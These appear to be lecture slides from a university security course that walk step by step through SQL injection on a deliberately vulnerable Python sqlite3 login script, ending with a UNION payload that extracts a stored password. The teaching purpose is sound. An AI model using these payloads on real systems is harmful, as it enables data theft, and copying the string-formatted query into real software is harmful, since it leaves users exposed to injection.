CS177

SQL Injection (Examples)

Hojjat Aghakhani, May 4, 2020

Use VPN for SQL Challenge

- Without VPN, some connections that are similar to SQL injection are being dropped somewhere in the campus network!
  - Outside connections!
  - Use VPN service provided by the university! That solves the issue
  - https://www.it.ucsb.edu/vpn

General Steps for SQL Injection

- Which forms/fields are vulnerable to SQL injection?
- What is SQL database engine?
- What is the query?
- What are the tables?
- What are the columns?
- How is the post-query processing?

Example

```python
import sqlite3


print("Please enter your username")
username = input()

print("username: {}".format(username))

with sqlite3.connect("temp.sqlite3") as db_conn:
    query = "Select * from student where username='%s'" % username

    try:
        cur = db_conn.cursor()
        cur.execute(query)
        row = cur.fetchone()

        if row is None:
            print("No records found for you!")
        else:
            print("username: {}, name: {}".format(username, row[3]))

    except Exception as e:
        print('Query failed: "%s"\nError: %s' % (query, str(e)))
```

username	passwd	perm	name
mdy	jlkfdsajlkfd	76528261	Dongyu Meng
lukas	fdjksfds	91858073	Lukas Dresel
9yte	899fdskjfkdsj	78031594	Hojjat Aghakhani
void	898989fdskjklfsd	44320917	Christopher Kruegel

Let’s test for SQL injection!
input:
foo’

output:
Query failed: "Select * from student where username='foo'"
Error: unrecognized token: "'foo'"

Example

```python
import sqlite3


print("Please enter your username")
username = input()

print("username: {}".format(username))

with sqlite3.connect("temp.sqlite3") as db_conn:
    query = "Select * from student where username='%s'" % username

    try:
        cur = db_conn.cursor()
        cur.execute(query)
        row = cur.fetchone()

        if row is None:
            print("No records found for you!")
        else:
            print("username: {}, name: {}".format(username, row[3]))

    except Exception as e:
        print('Query failed: "%s"\nError: %s' % (query, str(e)))
```

username	passwd	perm	name
mdy	jlkfdsajlkfd	76528261	Dongyu Meng
lukas	fdjksfds	91858073	Lukas Dresel
9yte	899fdskjfkdsj	78031594	Hojjat Aghakhani
void	898989fdskjklfsd	44320917	Christopher Kruegel

Let's fetch all names!
input:
foo' or 1=1--

output:
username: foo' or 1=1--, name: Dongyu Meng
But what about other names?

Example

```python
import sqlite3


print("Please enter your username")
username = input()

print("username: {}".format(username))

with sqlite3.connect("temp.sqlite3") as db_conn:
    query = "Select * from student where username='%s'" % username

    try:
        cur = db_conn.cursor()
        cur.execute(query)
        row = cur.fetchone()

        if row is None:
            print("No records found for you!")
        else:
            print("username: {}, name: {}".format(username, row[3]))

    except Exception as e:
        print('Query failed: "%s"\nError: %s' % (query, str(e)))
```

username	passwd	perm	name
mdy	jlkfdsajlkfd	76528261	Dongyu Meng
lukas	fdjksfds	91858073	Lukas Dresel
9yte	899fdskjfkdsj	78031594	Hojjat Aghakhani
void	898989fdskjklfsd	44320917	Christopher Kruegel

Let's fetch all names!
inputs:
foo' or 1=1 limit i,1--
for i=1,2,3

outputs:
username: foo' or 1=1 limit 1,1--, name: Lukas Dresel
username: foo' or 1=1 limit 2,1--, name: Hojjat Aghakhani
username: foo' or 1=1 limit 3,1--, name: Christopher Kruegel

Example

```python
import sqlite3


print("Please enter your username")
username = input()

print("username: {}".format(username))

with sqlite3.connect("temp.sqlite3") as db_conn:
    query = "Select * from student where username='%s'" % username

    try:
        cur = db_conn.cursor()
        cur.execute(query)
        row = cur.fetchone()

        if row is None:
            print("No records found for you!")
        else:
            print("username: {}, name: {}".format(username, row[3]))

    except Exception as e:
        print('Query failed: "%s"\nError: %s' % (query, str(e)))
```

username	passwd	perm	name
mdy	jlkfdsajlkfd	76528261	Dongyu Meng
lukas	fdjksfds	91858073	Lukas Dresel
9yte	899fdskjfkdsj	78031594	Hojjat Aghakhani
void	898989fdskjklfsd	44320917	Christopher Kruegel

But who cares about names?
I want to know everything!

First, we need to know the structure of the table:
What are the columns?
sqlite_master table has useful information:
tbl_name, sql columns

Example

```python
import sqlite3


print("Please enter your username")
username = input()

print("username: {}".format(username))

with sqlite3.connect("temp.sqlite3") as db_conn:
    query = "Select * from student where username='%s'" % username

    try:
        cur = db_conn.cursor()
        cur.execute(query)
        row = cur.fetchone()

        if row is None:
            print("No records found for you!")
        else:
            print("username: {}, name: {}".format(username, row[3]))

    except Exception as e:
        print('Query failed: "%s"\nError: %s' % (query, str(e)))
```

username	passwd	perm	name
mdy	jlkfdsajlkfd	76528261	Dongyu Meng
lukas	fdjksfds	91858073	Lukas Dresel
9yte	899fdskjfkdsj	78031594	Hojjat Aghakhani
void	898989fdskjklfsd	44320917	Christopher Kruegel

input:
foo' union select * from sqlite_master where tbl_name='student

output:
Query failed: "Select * from student where username='foo' union select * from sqlite_master where tbl_name='student’”

Error: SELECTs to the left and right of UNION do not have the same number of result columns

Example

```python
import sqlite3


print("Please enter your username")
username = input()

print("username: {}".format(username))

with sqlite3.connect("temp.sqlite3") as db_conn:
    query = "Select * from student where username='%s'" % username

    try:
        cur = db_conn.cursor()
        cur.execute(query)
        row = cur.fetchone()

        if row is None:
            print("No records found for you!")
        else:
            print("username: {}, name: {}".format(username, row[3]))

    except Exception as e:
        print('Query failed: "%s"\nError: %s' % (query, str(e)))
```

username	passwd	perm	name
mdy	jlkfdsajlkfd	76528261	Dongyu Meng
lukas	fdjksfds	91858073	Lukas Dresel
9yte	899fdskjfkdsj	78031594	Hojjat Aghakhani
void	898989fdskjklfsd	44320917	Christopher Kruegel

It seems we need to know the number of columns first!!
input:
foo' union select sql, sql, sql, sql from sqlite_master where tbl_name='student

output:
username: foo' union select sql, sql, sql, sql from sqlite_master where tbl_name='student, name: CREATE TABLE student (
"username" TEXT,
"passwd" TEXT,
"perm" TEXT,
"name" TEXT
)

Example

```
import sqlite3


print("Please enter your username")
username = input()

print("username: {}".format(username))

with sqlite3.connect("temp.sqlite3") as db_conn:
    query = "Select * from student where username='%s'" % username

    try:
        cur = db_conn.cursor()
        cur.execute(query)
        row = cur.fetchone()

        if row is None:
            print("No records found for you!")
        else:
            print("username: {}, name: {}".format(username, row[3]))

    except Exception as e:
        print('Query failed: "%s"\nError: %s' % (query, str(e)))
```

username	passwd	perm	name
mdy	jlkfdsajlkfd	76528261	Dongyu Meng
lukas	fdjksfds	91858073	Lukas Dresel
9yte	899fdskjfkdsj	78031594	Hojjat Aghakhani
void	898989fdskjklfsd	44320917	Christopher Kruegel

So we have these columns (ordered):
username, passwd, perm, name
Note that we used to see the results for column “name,” which is the **third** column!
So, in the second select clause, we should put the interesting column as the third one in the query!

Example

```python
import sqlite3


print("Please enter your username")
username = input()

print("username: {}".format(username))

with sqlite3.connect("temp.sqlite3") as db_conn:
    query = "Select * from student where username='%s'" % username

    try:
        cur = db_conn.cursor()
        cur.execute(query)
        row = cur.fetchone()

        if row is None:
            print("No records found for you!")
        else:
            print("username: {}, name: {}".format(username, row[3]))

    except Exception as e:
        print('Query failed: "%s"\nError: %s' % (query, str(e)))
```

username	passwd	perm	name
mdy	jlkfdsajlkfd	76528261	Dongyu Meng
lukas	fdjksfds	91858073	Lukas Dresel
9yte	899fdskjfkdsj	78031594	Hojjat Aghakhani
void	898989fdskjklfsd	44320917	Christopher Kruegel

input:
foo' union select null, null, null, passwd from student where username='9yte

output:
username: foo' union select null, null, null, passwd from student where username='9yte, name: 899fdskjfkdsj

Question?